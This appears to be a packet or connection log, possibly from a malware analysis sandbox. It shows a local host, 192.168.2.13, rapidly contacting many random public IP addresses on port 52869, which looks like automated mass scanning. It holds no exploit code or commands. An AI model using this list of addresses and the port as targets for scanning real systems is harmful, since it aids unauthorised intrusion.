Jul 20, 2024 23:00:59.607943058 CEST	52869	50566	169.216.228.16	192.168.2.13
Jul 20, 2024 23:00:59.608050108 CEST	52869	50566	1.211.248.189	192.168.2.13
Jul 20, 2024 23:00:59.608547926 CEST	50566	52869	192.168.2.13	179.131.95.152
Jul 20, 2024 23:00:59.608547926 CEST	50566	52869	192.168.2.13	185.216.195.94
Jul 20, 2024 23:00:59.608547926 CEST	50566	52869	192.168.2.13	205.135.58.130
Jul 20, 2024 23:00:59.608547926 CEST	50566	52869	192.168.2.13	8.181.191.184
Jul 20, 2024 23:00:59.608547926 CEST	50566	52869	192.168.2.13	75.112.49.181
Jul 20, 2024 23:00:59.608547926 CEST	50566	52869	192.168.2.13	131.89.238.210
Jul 20, 2024 23:00:59.608547926 CEST	50566	52869	192.168.2.13	179.255.234.207
Jul 20, 2024 23:00:59.608547926 CEST	50566	52869	192.168.2.13	111.221.99.174
Jul 20, 2024 23:00:59.608656883 CEST	52869	50566	138.143.89.164	192.168.2.13
Jul 20, 2024 23:00:59.608669996 CEST	52869	50566	222.205.157.144	192.168.2.13
Jul 20, 2024 23:00:59.608675957 CEST	50566	52869	192.168.2.13	142.87.170.65
Jul 20, 2024 23:00:59.608675957 CEST	50566	52869	192.168.2.13	24.53.43.105
Jul 20, 2024 23:00:59.608675957 CEST	50566	52869	192.168.2.13	40.220.172.176
Jul 20, 2024 23:00:59.608675957 CEST	50566	52869	192.168.2.13	111.195.169.143
Jul 20, 2024 23:00:59.608675957 CEST	50566	52869	192.168.2.13	138.116.64.175
Jul 20, 2024 23:00:59.608675957 CEST	50566	52869	192.168.2.13	31.170.161.105
Jul 20, 2024 23:00:59.608675957 CEST	50566	52869	192.168.2.13	23.101.143.247
Jul 20, 2024 23:00:59.608675957 CEST	50566	52869	192.168.2.13	102.178.73.69
Jul 20, 2024 23:00:59.609359026 CEST	52869	50566	190.181.73.6	192.168.2.13
Jul 20, 2024 23:00:59.609427929 CEST	52869	50566	2.45.239.89	192.168.2.13
Jul 20, 2024 23:00:59.609441042 CEST	52869	50566	23.143.183.180	192.168.2.13
Jul 20, 2024 23:00:59.609452963 CEST	52869	50566	18.118.36.173	192.168.2.13
Jul 20, 2024 23:00:59.609869003 CEST	52869	50566	207.70.169.248	192.168.2.13
Jul 20, 2024 23:00:59.609882116 CEST	52869	50566	170.110.120.154	192.168.2.13
Jul 20, 2024 23:00:59.609894037 CEST	52869	50566	170.126.187.25	192.168.2.13
Jul 20, 2024 23:00:59.609905958 CEST	52869	50566	202.190.221.115	192.168.2.13
Jul 20, 2024 23:00:59.610316992 CEST	50566	52869	192.168.2.13	207.96.143.249
Jul 20, 2024 23:00:59.610316992 CEST	50566	52869	192.168.2.13	140.118.140.221
Jul 20, 2024 23:00:59.610316992 CEST	50566	52869	192.168.2.13	51.225.242.182
Jul 20, 2024 23:00:59.610316992 CEST	50566	52869	192.168.2.13	48.28.150.134
Jul 20, 2024 23:00:59.610316992 CEST	50566	52869	192.168.2.13	105.157.155.60
Jul 20, 2024 23:00:59.610316992 CEST	50566	52869	192.168.2.13	137.234.191.18
Jul 20, 2024 23:00:59.610316992 CEST	50566	52869	192.168.2.13	179.125.187.243
Jul 20, 2024 23:00:59.610316992 CEST	50566	52869	192.168.2.13	161.19.3.120
Jul 20, 2024 23:00:59.610601902 CEST	52869	50566	199.121.94.39	192.168.2.13
Jul 20, 2024 23:00:59.610699892 CEST	52869	50566	218.148.139.162	192.168.2.13
Jul 20, 2024 23:00:59.610713005 CEST	52869	50566	23.179.172.154	192.168.2.13
Jul 20, 2024 23:00:59.610724926 CEST	52869	50566	159.161.70.187	192.168.2.13
Jul 20, 2024 23:00:59.610769033 CEST	52869	50566	84.117.229.118	192.168.2.13
Jul 20, 2024 23:00:59.610795975 CEST	50566	52869	192.168.2.13	78.77.211.57
Jul 20, 2024 23:00:59.610795975 CEST	50566	52869	192.168.2.13	61.47.111.141
Jul 20, 2024 23:00:59.610795975 CEST	50566	52869	192.168.2.13	184.9.71.201
Jul 20, 2024 23:00:59.610795975 CEST	50566	52869	192.168.2.13	203.206.63.20
Jul 20, 2024 23:00:59.610795975 CEST	50566	52869	192.168.2.13	96.235.29.144
Jul 20, 2024 23:00:59.610795975 CEST	50566	52869	192.168.2.13	120.15.92.129
Jul 20, 2024 23:00:59.610795975 CEST	50566	52869	192.168.2.13	107.239.129.22
Jul 20, 2024 23:00:59.611088037 CEST	52869	50566	165.221.152.111	192.168.2.13
Jul 20, 2024 23:00:59.611335993 CEST	52869	50566	87.211.91.11	192.168.2.13
Jul 20, 2024 23:00:59.611547947 CEST	52869	50566	207.222.192.222	192.168.2.13
Jul 20, 2024 23:00:59.611836910 CEST	52869	50566	182.81.29.110	192.168.2.13
Jul 20, 2024 23:00:59.611850023 CEST	52869	50566	8.28.254.193	192.168.2.13
Jul 20, 2024 23:00:59.611861944 CEST	52869	50566	103.55.51.24	192.168.2.13
Jul 20, 2024 23:00:59.611929893 CEST	52869	50566	187.9.135.48	192.168.2.13
Jul 20, 2024 23:00:59.612457037 CEST	52869	50566	170.44.141.131	192.168.2.13
Jul 20, 2024 23:00:59.612843037 CEST	52869	50566	74.13.242.177	192.168.2.13
Jul 20, 2024 23:00:59.612855911 CEST	52869	50566	43.248.243.79	192.168.2.13
Jul 20, 2024 23:00:59.612919092 CEST	50566	52869	192.168.2.13	152.69.62.170
Jul 20, 2024 23:00:59.612919092 CEST	50566	52869	192.168.2.13	151.29.46.47
Jul 20, 2024 23:00:59.612919092 CEST	50566	52869	192.168.2.13	206.73.167.230
Jul 20, 2024 23:00:59.612919092 CEST	50566	52869	192.168.2.13	31.201.179.173
Jul 20, 2024 23:00:59.612919092 CEST	50566	52869	192.168.2.13	205.67.98.173
Jul 20, 2024 23:00:59.612919092 CEST	50566	52869	192.168.2.13	60.69.66.27
Jul 20, 2024 23:00:59.612919092 CEST	50566	52869	192.168.2.13	64.88.182.151
Jul 20, 2024 23:00:59.613059998 CEST	52869	50566	85.83.186.173	192.168.2.13
Jul 20, 2024 23:00:59.613071918 CEST	52869	50566	146.202.87.248	192.168.2.13
Jul 20, 2024 23:00:59.613084078 CEST	52869	50566	31.5.27.49	192.168.2.13
Jul 20, 2024 23:00:59.613414049 CEST	52869	50566	156.151.36.127	192.168.2.13
Jul 20, 2024 23:00:59.613426924 CEST	52869	50566	35.227.210.137	192.168.2.13
Jul 20, 2024 23:00:59.613432884 CEST	52869	50566	43.22.181.167	192.168.2.13
Jul 20, 2024 23:00:59.613437891 CEST	52869	50566	57.228.228.208	192.168.2.13
Jul 20, 2024 23:00:59.613444090 CEST	52869	50566	93.186.215.85	192.168.2.13
Jul 20, 2024 23:00:59.613449097 CEST	52869	50566	58.117.66.60	192.168.2.13
Jul 20, 2024 23:00:59.613929987 CEST	52869	50566	179.115.72.188	192.168.2.13
Jul 20, 2024 23:00:59.613941908 CEST	52869	50566	93.89.228.144	192.168.2.13
Jul 20, 2024 23:00:59.613948107 CEST	52869	50566	82.59.196.59	192.168.2.13
Jul 20, 2024 23:00:59.614360094 CEST	50566	52869	192.168.2.13	74.121.221.104
Jul 20, 2024 23:00:59.614360094 CEST	50566	52869	192.168.2.13	20.179.92.201
Jul 20, 2024 23:00:59.614360094 CEST	50566	52869	192.168.2.13	170.181.122.68
Jul 20, 2024 23:00:59.614360094 CEST	50566	52869	192.168.2.13	223.80.176.90
Jul 20, 2024 23:00:59.614360094 CEST	50566	52869	192.168.2.13	46.249.226.40
Jul 20, 2024 23:00:59.614360094 CEST	50566	52869	192.168.2.13	198.77.241.190
Jul 20, 2024 23:00:59.614360094 CEST	50566	52869	192.168.2.13	166.58.212.1
Jul 20, 2024 23:00:59.614360094 CEST	50566	52869	192.168.2.13	202.119.16.222
Jul 20, 2024 23:00:59.614737034 CEST	52869	50566	156.255.79.227	192.168.2.13
Jul 20, 2024 23:00:59.614749908 CEST	52869	50566	198.178.175.109	192.168.2.13
Jul 20, 2024 23:00:59.614762068 CEST	52869	50566	146.77.88.156	192.168.2.13
Jul 20, 2024 23:00:59.614852905 CEST	52869	50566	167.70.107.202	192.168.2.13
Jul 20, 2024 23:00:59.615190983 CEST	50566	52869	192.168.2.13	64.97.99.207
Jul 20, 2024 23:00:59.615190983 CEST	50566	52869	192.168.2.13	106.41.168.86
Jul 20, 2024 23:00:59.615190983 CEST	50566	52869	192.168.2.13	111.14.138.181
Jul 20, 2024 23:00:59.615190983 CEST	50566	52869	192.168.2.13	205.135.53.171
Jul 20, 2024 23:00:59.615190983 CEST	50566	52869	192.168.2.13	134.204.100.27
Jul 20, 2024 23:00:59.615190983 CEST	50566	52869	192.168.2.13	143.116.171.100
Jul 20, 2024 23:00:59.615190983 CEST	50566	52869	192.168.2.13	49.132.161.104
Jul 20, 2024 23:00:59.615190983 CEST	50566	52869	192.168.2.13	221.234.75.243
Jul 20, 2024 23:00:59.615480900 CEST	50566	52869	192.168.2.13	46.175.180.59
Jul 20, 2024 23:00:59.615480900 CEST	50566	52869	192.168.2.13	66.209.243.32
Jul 20, 2024 23:00:59.615480900 CEST	50566	52869	192.168.2.13	44.187.174.63
Jul 20, 2024 23:00:59.615480900 CEST	50566	52869	192.168.2.13	183.148.214.191
Jul 20, 2024 23:00:59.615480900 CEST	50566	52869	192.168.2.13	210.88.193.224
Jul 20, 2024 23:00:59.615480900 CEST	50566	52869	192.168.2.13	27.127.119.9
Jul 20, 2024 23:00:59.615480900 CEST	50566	52869	192.168.2.13	161.59.114.51
Jul 20, 2024 23:00:59.615482092 CEST	50566	52869	192.168.2.13	109.198.245.245
Jul 20, 2024 23:00:59.615755081 CEST	52869	50566	97.128.130.183	192.168.2.13
Jul 20, 2024 23:00:59.615767956 CEST	52869	50566	222.139.57.235	192.168.2.13
Jul 20, 2024 23:00:59.615772963 CEST	52869	50566	122.202.61.247	192.168.2.13
Jul 20, 2024 23:00:59.615879059 CEST	52869	50566	160.13.140.39	192.168.2.13
Jul 20, 2024 23:00:59.615891933 CEST	52869	50566	163.240.92.21	192.168.2.13
Jul 20, 2024 23:00:59.616276026 CEST	52869	50566	197.89.48.241	192.168.2.13
Jul 20, 2024 23:00:59.616288900 CEST	52869	50566	25.33.101.203	192.168.2.13
Jul 20, 2024 23:00:59.616302013 CEST	52869	50566	179.131.95.152	192.168.2.13
Jul 20, 2024 23:00:59.616312981 CEST	52869	50566	142.87.170.65	192.168.2.13
Jul 20, 2024 23:00:59.616326094 CEST	52869	50566	137.37.120.169	192.168.2.13
Jul 20, 2024 23:00:59.616754055 CEST	52869	50566	185.216.195.94	192.168.2.13
Jul 20, 2024 23:00:59.616765976 CEST	52869	50566	24.53.43.105	192.168.2.13
Jul 20, 2024 23:00:59.616777897 CEST	52869	50566	45.170.132.43	192.168.2.13
Jul 20, 2024 23:00:59.616945982 CEST	52869	50566	62.234.113.13	192.168.2.13
Jul 20, 2024 23:00:59.617631912 CEST	52869	50566	83.123.156.156	192.168.2.13
Jul 20, 2024 23:00:59.617655039 CEST	52869	50566	205.135.58.130	192.168.2.13
Jul 20, 2024 23:00:59.617666960 CEST	52869	50566	162.24.121.92	192.168.2.13
Jul 20, 2024 23:00:59.617680073 CEST	52869	50566	166.230.186.42	192.168.2.13
Jul 20, 2024 23:00:59.617748976 CEST	52869	50566	158.231.248.95	192.168.2.13
Jul 20, 2024 23:00:59.617760897 CEST	52869	50566	207.96.143.249	192.168.2.13
Jul 20, 2024 23:00:59.617772102 CEST	52869	50566	8.181.191.184	192.168.2.13
Jul 20, 2024 23:00:59.617784023 CEST	52869	50566	40.220.172.176	192.168.2.13
Jul 20, 2024 23:00:59.618302107 CEST	52869	50566	75.112.49.181	192.168.2.13
Jul 20, 2024 23:00:59.618314981 CEST	52869	50566	111.195.169.143	192.168.2.13
Jul 20, 2024 23:00:59.618326902 CEST	52869	50566	140.118.140.221	192.168.2.13
Jul 20, 2024 23:00:59.619157076 CEST	50566	52869	192.168.2.13	150.246.179.157
Jul 20, 2024 23:00:59.619157076 CEST	50566	52869	192.168.2.13	99.109.33.188
Jul 20, 2024 23:00:59.619157076 CEST	50566	52869	192.168.2.13	165.200.19.252
Jul 20, 2024 23:00:59.619157076 CEST	50566	52869	192.168.2.13	60.242.156.188
Jul 20, 2024 23:00:59.619157076 CEST	50566	52869	192.168.2.13	156.219.181.226
Jul 20, 2024 23:00:59.619157076 CEST	50566	52869	192.168.2.13	80.162.93.170
Jul 20, 2024 23:00:59.619157076 CEST	50566	52869	192.168.2.13	176.97.130.211
Jul 20, 2024 23:00:59.619157076 CEST	50566	52869	192.168.2.13	222.39.86.137
Jul 20, 2024 23:00:59.619292021 CEST	50566	52869	192.168.2.13	4.29.10.208
Jul 20, 2024 23:00:59.619292021 CEST	50566	52869	192.168.2.13	135.62.89.123
Jul 20, 2024 23:00:59.619292021 CEST	50566	52869	192.168.2.13	35.89.200.208
Jul 20, 2024 23:00:59.619292021 CEST	50566	52869	192.168.2.13	18.200.62.188
Jul 20, 2024 23:00:59.619292021 CEST	50566	52869	192.168.2.13	123.238.70.228
Jul 20, 2024 23:00:59.619292021 CEST	50566	52869	192.168.2.13	12.45.97.162
Jul 20, 2024 23:00:59.619292021 CEST	50566	52869	192.168.2.13	66.222.130.238
Jul 20, 2024 23:00:59.619292021 CEST	50566	52869	192.168.2.13	160.107.13.183
Jul 20, 2024 23:00:59.619398117 CEST	52869	50566	131.89.238.210	192.168.2.13
Jul 20, 2024 23:00:59.619410992 CEST	52869	50566	138.116.64.175	192.168.2.13
Jul 20, 2024 23:00:59.619422913 CEST	52869	50566	78.77.211.57	192.168.2.13
Jul 20, 2024 23:00:59.619712114 CEST	52869	50566	31.170.161.105	192.168.2.13
Jul 20, 2024 23:00:59.619724989 CEST	52869	50566	51.225.242.182	192.168.2.13
Jul 20, 2024 23:00:59.619740009 CEST	52869	50566	23.101.143.247	192.168.2.13
Jul 20, 2024 23:00:59.619780064 CEST	52869	50566	61.47.111.141	192.168.2.13
Jul 20, 2024 23:00:59.619791985 CEST	52869	50566	102.178.73.69	192.168.2.13
Jul 20, 2024 23:00:59.619805098 CEST	52869	50566	17.21.56.11	192.168.2.13
Jul 20, 2024 23:00:59.619817019 CEST	52869	50566	85.108.106.41	192.168.2.13
Jul 20, 2024 23:00:59.620178938 CEST	52869	50566	93.171.171.184	192.168.2.13
Jul 20, 2024 23:00:59.620192051 CEST	52869	50566	85.245.163.84	192.168.2.13
Jul 20, 2024 23:00:59.620193005 CEST	50566	52869	192.168.2.13	19.168.22.44
Jul 20, 2024 23:00:59.620193005 CEST	50566	52869	192.168.2.13	152.106.99.93
Jul 20, 2024 23:00:59.620193005 CEST	50566	52869	192.168.2.13	70.213.157.122
Jul 20, 2024 23:00:59.620193005 CEST	50566	52869	192.168.2.13	106.15.164.78
Jul 20, 2024 23:00:59.620193005 CEST	50566	52869	192.168.2.13	157.79.41.139
Jul 20, 2024 23:00:59.620193005 CEST	50566	52869	192.168.2.13	165.44.152.54
Jul 20, 2024 23:00:59.620193005 CEST	50566	52869	192.168.2.13	160.231.234.14
Jul 20, 2024 23:00:59.620193005 CEST	50566	52869	192.168.2.13	189.138.33.244
Jul 20, 2024 23:00:59.620203972 CEST	52869	50566	142.248.82.30	192.168.2.13
Jul 20, 2024 23:00:59.620217085 CEST	52869	50566	210.176.207.144	192.168.2.13
Jul 20, 2024 23:00:59.620609045 CEST	52869	50566	60.224.36.74	192.168.2.13
Jul 20, 2024 23:00:59.620683908 CEST	52869	50566	138.90.155.182	192.168.2.13
Jul 20, 2024 23:00:59.620696068 CEST	52869	50566	152.69.62.170	192.168.2.13
Jul 20, 2024 23:00:59.620805979 CEST	52869	50566	184.9.71.201	192.168.2.13
Jul 20, 2024 23:00:59.620872974 CEST	50566	52869	192.168.2.13	158.174.113.192
Jul 20, 2024 23:00:59.620872974 CEST	50566	52869	192.168.2.13	150.242.250.39
Jul 20, 2024 23:00:59.620872974 CEST	50566	52869	192.168.2.13	14.247.240.209
Jul 20, 2024 23:00:59.620872974 CEST	50566	52869	192.168.2.13	114.70.26.237
Jul 20, 2024 23:00:59.620872974 CEST	50566	52869	192.168.2.13	106.52.71.110
Jul 20, 2024 23:00:59.620872974 CEST	50566	52869	192.168.2.13	44.170.154.28
Jul 20, 2024 23:00:59.620872974 CEST	50566	52869	192.168.2.13	149.29.181.151
Jul 20, 2024 23:00:59.620872974 CEST	50566	52869	192.168.2.13	115.253.204.113
Jul 20, 2024 23:00:59.621273994 CEST	52869	50566	48.28.150.134	192.168.2.13
Jul 20, 2024 23:00:59.621288061 CEST	52869	50566	179.255.234.207	192.168.2.13
Jul 20, 2024 23:00:59.621293068 CEST	52869	50566	151.29.46.47	192.168.2.13
Jul 20, 2024 23:00:59.621299028 CEST	52869	50566	111.221.99.174	192.168.2.13
Jul 20, 2024 23:00:59.621304035 CEST	52869	50566	105.157.155.60	192.168.2.13
Jul 20, 2024 23:00:59.622293949 CEST	52869	50566	206.73.167.230	192.168.2.13
Jul 20, 2024 23:00:59.622307062 CEST	52869	50566	46.175.180.59	192.168.2.13
Jul 20, 2024 23:00:59.622318029 CEST	52869	50566	203.206.63.20	192.168.2.13
Jul 20, 2024 23:00:59.622442961 CEST	52869	50566	31.201.179.173	192.168.2.13
Jul 20, 2024 23:00:59.622456074 CEST	52869	50566	5.32.31.50	192.168.2.13
Jul 20, 2024 23:00:59.623018980 CEST	52869	50566	186.231.139.123	192.168.2.13
Jul 20, 2024 23:00:59.623051882 CEST	50566	52869	192.168.2.13	54.14.88.60
Jul 20, 2024 23:00:59.623051882 CEST	50566	52869	192.168.2.13	174.200.240.97
Jul 20, 2024 23:00:59.623051882 CEST	50566	52869	192.168.2.13	9.82.7.36
Jul 20, 2024 23:00:59.623051882 CEST	50566	52869	192.168.2.13	187.210.4.33
Jul 20, 2024 23:00:59.623051882 CEST	50566	52869	192.168.2.13	166.126.173.214
Jul 20, 2024 23:00:59.623051882 CEST	50566	52869	192.168.2.13	75.130.190.239
Jul 20, 2024 23:00:59.623051882 CEST	50566	52869	192.168.2.13	32.131.86.183
Jul 20, 2024 23:00:59.623051882 CEST	50566	52869	192.168.2.13	60.26.177.43
Jul 20, 2024 23:00:59.623610973 CEST	52869	50566	91.46.191.190	192.168.2.13
Jul 20, 2024 23:00:59.623692036 CEST	52869	50566	198.119.74.143	192.168.2.13
Jul 20, 2024 23:00:59.623704910 CEST	52869	50566	190.123.17.110	192.168.2.13
Jul 20, 2024 23:00:59.623936892 CEST	52869	50566	74.121.221.104	192.168.2.13
Jul 20, 2024 23:00:59.624079943 CEST	52869	50566	137.234.191.18	192.168.2.13
Jul 20, 2024 23:00:59.624092102 CEST	52869	50566	66.209.243.32	192.168.2.13
Jul 20, 2024 23:00:59.624393940 CEST	52869	50566	44.187.174.63	192.168.2.13
Jul 20, 2024 23:00:59.624459028 CEST	52869	50566	183.148.214.191	192.168.2.13
Jul 20, 2024 23:00:59.624854088 CEST	50566	52869	192.168.2.13	64.36.192.223
Jul 20, 2024 23:00:59.624854088 CEST	50566	52869	192.168.2.13	128.118.41.148
Jul 20, 2024 23:00:59.624854088 CEST	50566	52869	192.168.2.13	25.93.40.240
Jul 20, 2024 23:00:59.624854088 CEST	50566	52869	192.168.2.13	81.205.60.255
Jul 20, 2024 23:00:59.624854088 CEST	50566	52869	192.168.2.13	132.163.208.82
Jul 20, 2024 23:00:59.624854088 CEST	50566	52869	192.168.2.13	62.84.215.239
Jul 20, 2024 23:00:59.624854088 CEST	50566	52869	192.168.2.13	57.59.6.30
Jul 20, 2024 23:00:59.624855042 CEST	50566	52869	192.168.2.13	88.82.30.227
Jul 20, 2024 23:00:59.625380993 CEST	50566	52869	192.168.2.13	59.47.23.204
Jul 20, 2024 23:00:59.625380993 CEST	50566	52869	192.168.2.13	103.8.126.230
Jul 20, 2024 23:00:59.625380993 CEST	50566	52869	192.168.2.13	63.53.112.27
Jul 20, 2024 23:00:59.625380993 CEST	50566	52869	192.168.2.13	94.22.141.38
Jul 20, 2024 23:00:59.625380993 CEST	50566	52869	192.168.2.13	146.106.189.217
Jul 20, 2024 23:00:59.625380993 CEST	50566	52869	192.168.2.13	213.2.150.93
Jul 20, 2024 23:00:59.625380993 CEST	50566	52869	192.168.2.13	108.155.18.150
Jul 20, 2024 23:00:59.625380993 CEST	50566	52869	192.168.2.13	136.118.42.92
Jul 20, 2024 23:00:59.625519991 CEST	50566	52869	192.168.2.13	86.3.194.178
Jul 20, 2024 23:00:59.625519991 CEST	50566	52869	192.168.2.13	217.75.180.237
Jul 20, 2024 23:00:59.625519991 CEST	50566	52869	192.168.2.13	77.179.166.110
Jul 20, 2024 23:00:59.625519991 CEST	50566	52869	192.168.2.13	19.218.88.191
Jul 20, 2024 23:00:59.625519991 CEST	50566	52869	192.168.2.13	58.202.18.250
Jul 20, 2024 23:00:59.625519991 CEST	50566	52869	192.168.2.13	140.26.197.97
Jul 20, 2024 23:00:59.625519991 CEST	50566	52869	192.168.2.13	156.80.250.98
Jul 20, 2024 23:00:59.625519991 CEST	50566	52869	192.168.2.13	86.33.194.195
Jul 20, 2024 23:00:59.625560999 CEST	52869	50566	210.88.193.224	192.168.2.13
Jul 20, 2024 23:00:59.625574112 CEST	52869	50566	179.125.187.243	192.168.2.13
Jul 20, 2024 23:00:59.625585079 CEST	52869	50566	161.19.3.120	192.168.2.13
Jul 20, 2024 23:00:59.625880003 CEST	52869	50566	150.246.179.157	192.168.2.13
Jul 20, 2024 23:00:59.625893116 CEST	52869	50566	27.127.119.9	192.168.2.13
Jul 20, 2024 23:00:59.626589060 CEST	50566	52869	192.168.2.13	62.70.231.247
Jul 20, 2024 23:00:59.626589060 CEST	50566	52869	192.168.2.13	149.206.247.26
Jul 20, 2024 23:00:59.626589060 CEST	50566	52869	192.168.2.13	36.153.129.12
Jul 20, 2024 23:00:59.626589060 CEST	50566	52869	192.168.2.13	111.9.61.68
Jul 20, 2024 23:00:59.626589060 CEST	50566	52869	192.168.2.13	122.59.28.135
Jul 20, 2024 23:00:59.626589060 CEST	50566	52869	192.168.2.13	152.141.22.129
Jul 20, 2024 23:00:59.626589060 CEST	50566	52869	192.168.2.13	187.189.134.230
Jul 20, 2024 23:00:59.626589060 CEST	50566	52869	192.168.2.13	79.29.92.192
Jul 20, 2024 23:00:59.627053976 CEST	50566	52869	192.168.2.13	158.216.237.109
Jul 20, 2024 23:00:59.627053976 CEST	50566	52869	192.168.2.13	104.51.53.32
Jul 20, 2024 23:00:59.627053976 CEST	50566	52869	192.168.2.13	103.135.182.153
Jul 20, 2024 23:00:59.627053976 CEST	50566	52869	192.168.2.13	205.2.96.105
Jul 20, 2024 23:00:59.627053976 CEST	50566	52869	192.168.2.13	222.93.237.70
Jul 20, 2024 23:00:59.627053976 CEST	50566	52869	192.168.2.13	193.121.118.48
Jul 20, 2024 23:00:59.627053976 CEST	50566	52869	192.168.2.13	8.136.6.185
Jul 20, 2024 23:00:59.627053976 CEST	50566	52869	192.168.2.13	100.140.169.223
Jul 20, 2024 23:00:59.627082109 CEST	52869	50566	161.59.114.51	192.168.2.13
Jul 20, 2024 23:00:59.627285957 CEST	52869	50566	99.109.33.188	192.168.2.13
Jul 20, 2024 23:00:59.627299070 CEST	52869	50566	109.198.245.245	192.168.2.13
Jul 20, 2024 23:00:59.627588034 CEST	52869	50566	158.174.113.192	192.168.2.13
Jul 20, 2024 23:00:59.627801895 CEST	50566	52869	192.168.2.13	131.137.224.104
Jul 20, 2024 23:00:59.627801895 CEST	50566	52869	192.168.2.13	176.44.3.114
Jul 20, 2024 23:00:59.627801895 CEST	50566	52869	192.168.2.13	13.65.173.81
Jul 20, 2024 23:00:59.627801895 CEST	50566	52869	192.168.2.13	132.216.15.237
Jul 20, 2024 23:00:59.627801895 CEST	50566	52869	192.168.2.13	105.77.33.146
Jul 20, 2024 23:00:59.627801895 CEST	50566	52869	192.168.2.13	124.185.179.185
Jul 20, 2024 23:00:59.627801895 CEST	50566	52869	192.168.2.13	188.10.172.52
Jul 20, 2024 23:00:59.627801895 CEST	50566	52869	192.168.2.13	128.143.136.11
Jul 20, 2024 23:00:59.627856016 CEST	52869	50566	165.200.19.252	192.168.2.13
Jul 20, 2024 23:00:59.627868891 CEST	52869	50566	60.242.156.188	192.168.2.13
Jul 20, 2024 23:00:59.627882004 CEST	52869	50566	31.54.39.40	192.168.2.13
Jul 20, 2024 23:00:59.628073931 CEST	52869	50566	156.219.181.226	192.168.2.13
Jul 20, 2024 23:00:59.629596949 CEST	52869	50566	150.242.250.39	192.168.2.13
Jul 20, 2024 23:00:59.629609108 CEST	52869	50566	14.247.240.209	192.168.2.13
Jul 20, 2024 23:00:59.629621029 CEST	52869	50566	80.162.93.170	192.168.2.13
Jul 20, 2024 23:00:59.629719973 CEST	50566	52869	192.168.2.13	219.50.254.113
Jul 20, 2024 23:00:59.629719973 CEST	50566	52869	192.168.2.13	81.106.209.172
Jul 20, 2024 23:00:59.629719973 CEST	50566	52869	192.168.2.13	130.71.202.12
Jul 20, 2024 23:00:59.629719973 CEST	50566	52869	192.168.2.13	13.192.119.146
Jul 20, 2024 23:00:59.629720926 CEST	50566	52869	192.168.2.13	170.44.121.93
Jul 20, 2024 23:00:59.629720926 CEST	50566	52869	192.168.2.13	152.237.47.163
Jul 20, 2024 23:00:59.629720926 CEST	50566	52869	192.168.2.13	123.30.116.129
Jul 20, 2024 23:00:59.629720926 CEST	50566	52869	192.168.2.13	157.35.115.220
Jul 20, 2024 23:00:59.629919052 CEST	52869	50566	114.70.26.237	192.168.2.13
Jul 20, 2024 23:00:59.629991055 CEST	52869	50566	4.193.117.37	192.168.2.13
Jul 20, 2024 23:00:59.630003929 CEST	52869	50566	106.52.71.110	192.168.2.13
Jul 20, 2024 23:00:59.630014896 CEST	52869	50566	176.97.130.211	192.168.2.13
Jul 20, 2024 23:00:59.630027056 CEST	52869	50566	44.170.154.28	192.168.2.13
Jul 20, 2024 23:00:59.630470991 CEST	52869	50566	149.29.181.151	192.168.2.13
Jul 20, 2024 23:00:59.630484104 CEST	52869	50566	222.39.86.137	192.168.2.13
Jul 20, 2024 23:00:59.630497932 CEST	52869	50566	115.253.204.113	192.168.2.13
Jul 20, 2024 23:00:59.630759954 CEST	52869	50566	145.162.14.166	192.168.2.13
Jul 20, 2024 23:00:59.630773067 CEST	52869	50566	20.179.92.201	192.168.2.13
Jul 20, 2024 23:00:59.631340981 CEST	52869	50566	59.47.23.204	192.168.2.13
Jul 20, 2024 23:00:59.631678104 CEST	52869	50566	2.57.213.168	192.168.2.13
Jul 20, 2024 23:00:59.632083893 CEST	52869	50566	87.204.95.27	192.168.2.13
Jul 20, 2024 23:00:59.632097006 CEST	52869	50566	170.181.122.68	192.168.2.13
Jul 20, 2024 23:00:59.632478952 CEST	52869	50566	103.8.126.230	192.168.2.13
Jul 20, 2024 23:00:59.632694006 CEST	50566	52869	192.168.2.13	183.245.192.118
Jul 20, 2024 23:00:59.632694006 CEST	50566	52869	192.168.2.13	119.81.176.163
Jul 20, 2024 23:00:59.632694006 CEST	50566	52869	192.168.2.13	132.207.242.66
Jul 20, 2024 23:00:59.632694006 CEST	50566	52869	192.168.2.13	160.68.255.255
Jul 20, 2024 23:00:59.632694006 CEST	50566	52869	192.168.2.13	199.153.235.69
Jul 20, 2024 23:00:59.632694006 CEST	50566	52869	192.168.2.13	87.27.188.229
Jul 20, 2024 23:00:59.632694006 CEST	50566	52869	192.168.2.13	99.250.238.245
Jul 20, 2024 23:00:59.632694006 CEST	50566	52869	192.168.2.13	106.129.123.61
Jul 20, 2024 23:00:59.632814884 CEST	52869	50566	208.22.1.172	192.168.2.13
Jul 20, 2024 23:00:59.633090019 CEST	50566	52869	192.168.2.13	218.17.20.190
Jul 20, 2024 23:00:59.633090019 CEST	50566	52869	192.168.2.13	203.150.144.131
Jul 20, 2024 23:00:59.633090019 CEST	50566	52869	192.168.2.13	171.34.197.233
Jul 20, 2024 23:00:59.633090019 CEST	50566	52869	192.168.2.13	209.201.219.150
Jul 20, 2024 23:00:59.633090019 CEST	50566	52869	192.168.2.13	177.18.162.51
Jul 20, 2024 23:00:59.633090019 CEST	50566	52869	192.168.2.13	111.107.242.28
Jul 20, 2024 23:00:59.633090019 CEST	50566	52869	192.168.2.13	71.11.243.52
Jul 20, 2024 23:00:59.633090019 CEST	50566	52869	192.168.2.13	205.64.106.197
Jul 20, 2024 23:00:59.633232117 CEST	52869	50566	63.53.112.27	192.168.2.13
Jul 20, 2024 23:00:59.633503914 CEST	52869	50566	86.3.194.178	192.168.2.13
Jul 20, 2024 23:00:59.633517027 CEST	52869	50566	217.75.180.237	192.168.2.13
Jul 20, 2024 23:00:59.633894920 CEST	50566	52869	192.168.2.13	40.176.43.226
Jul 20, 2024 23:00:59.633894920 CEST	50566	52869	192.168.2.13	187.245.206.15
Jul 20, 2024 23:00:59.633894920 CEST	50566	52869	192.168.2.13	193.35.80.188
Jul 20, 2024 23:00:59.633894920 CEST	50566	52869	192.168.2.13	136.188.106.216
Jul 20, 2024 23:00:59.633894920 CEST	50566	52869	192.168.2.13	58.79.2.90
Jul 20, 2024 23:00:59.633894920 CEST	50566	52869	192.168.2.13	59.5.94.31
Jul 20, 2024 23:00:59.633896112 CEST	50566	52869	192.168.2.13	100.238.58.140
Jul 20, 2024 23:00:59.633896112 CEST	50566	52869	192.168.2.13	175.158.109.220
Jul 20, 2024 23:00:59.634064913 CEST	52869	50566	94.22.141.38	192.168.2.13
Jul 20, 2024 23:00:59.634650946 CEST	50566	52869	192.168.2.13	207.106.40.137
Jul 20, 2024 23:00:59.634650946 CEST	50566	52869	192.168.2.13	170.45.230.238
Jul 20, 2024 23:00:59.634650946 CEST	50566	52869	192.168.2.13	8.115.57.252
